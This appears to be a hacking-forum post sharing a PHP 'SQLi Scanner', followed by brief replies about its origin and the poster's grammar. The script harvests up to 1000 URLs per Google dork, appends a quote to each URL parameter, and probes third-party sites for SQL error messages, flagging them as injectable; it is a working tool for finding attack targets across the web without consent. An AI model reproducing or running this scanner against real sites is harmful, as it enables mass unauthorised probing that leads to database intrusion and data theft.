



<!DOCTYPE html>
<html>
<head>
<meta name="robots" content="noindex, nofollow">
<meta http-equiv="Content-Type" content="text/html; charset=utf-16">
<title>SQLi Scanner</title>
<style type="text/css">
body{
background: #0F0F0F;
color: #FFFFFF;
font-family: monospace;
font-size: 12px;
}
input{
background: #0F0F0F;
border: 1px solid #00FF00;
color: #00FF00;
}
h2{
color: #55FF2A;
}
a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover { text-decoration: underline; }
.effectfalse:hover { text-decoration: line-through; }
</style>
</head>
<body>
<form action="<?php echo htmlentities($_SERVER['PHP_SELF']);?>" method="post">
Dork: <input type='text' name='dork' value='filetype:php id OR category' />
<input type='submit' value=' Start ' />
</form>
<hr />
<?php
if(isset($_POST['dork'])&&!is_array($_POST['dork'])) {
@set_time_limit(0);
$google = "http://www.google.com/cse?cx=013269018370076798483%3Awdba3dlnxqm&q=REPLACE_DORK&num=100&hl=en&as_qdr=all&start=REPLACE_START&sa=N";
$b = 0;
while($b <= 900) {
$a = 0;
echo "<hr />";
if(preg_match("/did not match any documents/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $val)) {
echo "<hr /><h2>No |more| results found.</h2>";
break;
}
preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
echo "Loadiing…<br />";
flush(); ob_flush();
while(1) {
if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) {
echo "<a href='".htmlentities(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='green'>SQLi vulnerability detected!</font><br />";
} else {
echo "<a href='".htmlentities(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='red'>No vulnerability found.</font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-2) {
break;
}
$a += 1;
}
$b += 100;
}
}
function Connect_Host($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$data = curl_exec($ch);
return ($data) ? $data : 0;
}
?>
</body>
</html>


fabianhjr wrote:Sorry, it isn't made by me. I got some source code collections and this seemed to be the best and most newby friendly.
Tough, this only checks for URL SQL injections and up to 1000 per query.

Goatboy wrote:fabianhjr wrote:Sorry, it isn't made by me. I got some source code collections and this seemed to be the best and most newby friendly.
Tough, this only checks for URL SQL injections and up to 1000 per query.
I figured it wasn't yours, but my first thought was still "HTML bot? What is he smoking?"
Also, it's "Though" you should be using. "Tough" es como "duro" y no pienso que es lo que quieres decir.


sanddbox wrote:I actually understood that Spanish. I feel proud.


Users browsing this forum: No registered users and 0 guests